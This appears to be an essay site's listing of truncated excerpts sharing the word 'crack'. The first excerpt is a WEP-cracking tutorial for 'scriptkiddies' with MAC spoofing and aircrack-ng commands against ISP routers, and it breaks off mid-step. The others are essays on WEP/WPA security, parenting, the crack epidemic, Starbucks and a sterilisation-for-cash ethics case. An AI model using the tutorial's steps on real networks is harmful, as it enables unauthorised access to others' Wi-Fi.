...Basic steps to get you cracking WEP (for scriptkiddies) Once you got your tools ready it is time to get cracking. Routers especially those given out by our local ISP have their default security settings set to WEP to encrypt their traffic. This can be easily cracked by aircrack-ng suite in about 5 min once you are “au fait” with the setup. For those who want to jump straight into the cracking process here are the basic steps you need to take. Step 0: Spoof MAC address Open terminal and run the command: sudo ifconfig < attacker’s wlan interface > hw ether Step 1: Gather essential background data about yourself and your target. target_router SSID -> target_router target_router MAC address -> 00:14:7F:99:EB:99 target router channel-> 6 attacker’s MAC address -> 00:0f:b5:ff:ff:f9 attacker’s wlan interface: wlan0 attacker’s monitoring interface name (spawned from wlan0): mon0 Note: Replace the above variables with your own. These were mine for my setup. Step 2: Using aircrack-ng suite to crack WEP. sudo airmon-ng start wlan0 -> spawn a monitoring interface from wlan0. sudo airodump-ng mon0 -> survey / scan for your target router. sudo airmon-ng stop mon0 -> stop the monitoring interface so that you can start it again to listen on channel 6. sudo airmon-ng start wlan0 6 -> This starts the mon0 interface listening to only channel 6 [Important step!]. sudo airodump-ng -c6 -w outputfile mon0 -> pump output to a file called......

...networking, and my goal is to inform you of those vulnerabilities to help you stay protected from them. Wired Equivalent Protocol (WEP) was the original wireless security protocol. WEP was flawed in numerous ways and hackers were able to get information in minutes. WPAv1 was then introduced as an interim replacement because WEP was that flawed. WPAv1 was made to improve on the secure wireless networks and also used a newer and more improved algorithm. When WPAv2 was finally released, many devices began to be created to be compatible with the AES algorithm WPAv2 uses. There still have not been any major hacks or attacks on a WPAv2-AES network that would cause the Wi-Fi alliance look into using another algorithm a replacement. WPAv1 is too easy to hack so it is not recommended and WPAv1 is now susceptible to multiple types of attacks. There are several different ways you can help to protect yourself and your information. Verify your spam in your e-mail to make sure a file accidentally was not forwarded to spam. There are also others to improve your security. The length of your passkey is very important in security, as well as keeping an up-to-date anti-virus and staying up-to-date on all the latest hacks, cracks, and technology are critical for your protection. N. Justin Bernard Network Security Term Paper November 13, 2012 The difference between cracking a WEP and a WPA network passkey and how to protect yourself from it In today’s always evolving and improving......

...Crack the whip Recently I don't know if it's just me or not, but I've noticed that everywhere I go there happens to be a child that is throwing a fit, crying or even scream at their parents. Generally it seems to be the subject they're not getting what they want that day at that moment. And it doesn't bother me that it's happening, the thing that bothers me is that parents give in to their child's or children's demand and walks them back into Walmart, Toys R Us, Target or whatever store that I happen to be at that day and them whatever it is that they want. It's kind of sad to see that today's kids lack discipline and that parents don't do anything about it beside turn. Kids today are spoiled and parents are not doing what is necessary to fix. As I said last kids are spoiled, at least kinds where I live are spoiled. I believe it starts with the parents. Parents who don't feel like standing their ground because their kids happen to throw a tantrum, cry, and complain at them. Parents have become pushovers and cave in at the signs that their children might become upset or cause a scene. The parents have I believe gotten lazy when it comes to keeping their kids in line or so self-absorb they care more about their image and how their children are acting. Parent who believe that they can buy their children's affection by giving them everything they want. Are just as bad those parents are just trying to fill a void that they have made with material items saying yes to everything...

...The American Crack Epidemic: How the War on Drugs was as Detrimental to Society as Drugs Themselves. Lucas Carneiro U.S. History 4/21/2013 Throughout the mid-20th century, Americans have experimented with illicit drugs, from marijuana to LSD. In the late 70s and early 80s, the high cost of cocaine made it the drug of choice for wealthy, elite, White Americans. On the other side of the social spectrum, lower-class African Americans sought an escape from their difficult circumstances in impoverished inner-city neighborhoods. They found refuge in crack, a smokeable form of cocaine, whose low production cost, high addictiveness, and debilitating nature made it the drug of choice for urban African American communities in 1986 (Reinarman, 1997; Watkins, 1998; Fullilove, 1998). The drug contributed to the increase in disease, violence, and poverty in these communities, turning inner-city neighborhoods into “war zones”. The U.S. Government’s War on Drugs campaign did little to solve this crisis, using aggressive, military tactics to address an epidemic surrounded by socioeconomic and health issues. In the 1960s, the Vietnam conflict among several unpopular moves by the U.S. government created a generation of rebellious, young Americans. This generation experimented with drugs in order to alter their state of mind, and to escape from the problems that came with politics and society. The generation of young “hippies” ignited a drug culture in the U.S. As time progressed,......

...A crack in the mug, can Starbucks mend it? In January 2008 Starbucks announced the closer of 100 US stores, but that number grew to 600 by July of 2008. After 20 years of remarkable growth, the last six months of 2007 saw Starbucks shaken by a decline in share price of 50 per cent and a reduction in customer visits to its outlets in North America. Its share price declined from $19 to $18.00 by mid-2008. The company’s brand image took a major hit with a $0.09 cent increase per cup and several similar increases in price over the past four years. All of this has led to disapproval from their shareholders. To increase favor with their shareholders, Starbucks will need to do a combination of tactics .They need to increase their sales quite a bit in order to suppress the shareholders fears. As long as consumers buy, the shareholders will buy stock, and feel comfortable with keeping it. To get consumers to consume more, they need to offer more of their products. They could possibly start offering products that they currently do not offer but use in making their products. For example they could start selling the accessory items like spices, syrups, sprinkles and the rest of the things that makes Starbucks so great. These are items that already have a great demand with preexisting Starbucks customers since they are used with all of their most popular items. Also, since Starbucks has no complete advantage over their major competitors like McDonalds and Dunkin Donut, one thing they......

...In 80s and 90s the crack epidemic took over the ghetto world and played a big role in developing hip hop music. Black Americans even sung about it in their songs. Drug dealers distributed crack in black neighborhoods and got them involved into that business. For African Americans it was a way to earn money and get out of ghetto. Especially back then when they were discriminated. So, the crack epidemic and hip hop back in 80s and 90s went hand in hand. It was very interesting to read the "Dark Alliance". I found out a lot of interesting staff of which I didn't know before. Of course, not every black american was involved in drug distribution and consumption. There were the ones who worked hard to pursue their dreams; however, there were more people who consumed and distributed than those who didn't. Rappers raped about it in their songs. The song "White Lines" describes how at parties MC and other party people consumed it. MC also tells us about his feelings and illusions he had. Once, people get involved into the crack epidemic, it is hard to stop. Also in the song, MC tells that every time you want it more and more. So, the dosage increases and money decreases. Some still suffer from the crack epidemic. People who used to party and play cool are now addicts who just think about getting drugs. The Crack Epidemic brought violence and sickness. People on crack are not stable and can think straight. As a consequence they are more violent and uncontrollable. People also become......

...CRACK Should women addicted to crack be able to have children? Barbara Harris says no. Harris has adopted four children from a drug addict. She has also founded CRACK (Children Requiring A Caring Kommunity) a non-profit organization that offers $200 in cash to addicts who agree to be sterilized or undergo long-term contraception like Norplant, which is surgically imbedded under the skin. In this essay I will be discussing what the ethical dilemma is, who the stakeholders are in this ethical dilemma, analyzing the problem by reference to the categorical imperative, analyzing the problem from a Kantian and utilitarian standpoint and giving my overall opinion of this matter. As I understand it the ethical dilemma here is the procedure in itself. Some are saying that the women are doing it for the money to buy more drugs. Also, saying that it takes away women rights to reproduce. Physicians and attorneys are saying that the women are in no condition to consent to being sterilized. They say that because these women are mentally ill and poor they are not capable of making their own decisions. But Barbara Harris from her own experiences says that women addicted to crack do not need to have babies. These women are bringing babies into the world addicted to crack. She tells of a story of how she adopted four children from a crack addicted woman. One of the children would wake up screaming in the middle of the night. She says it looked like his eyes were about to pop out of his......
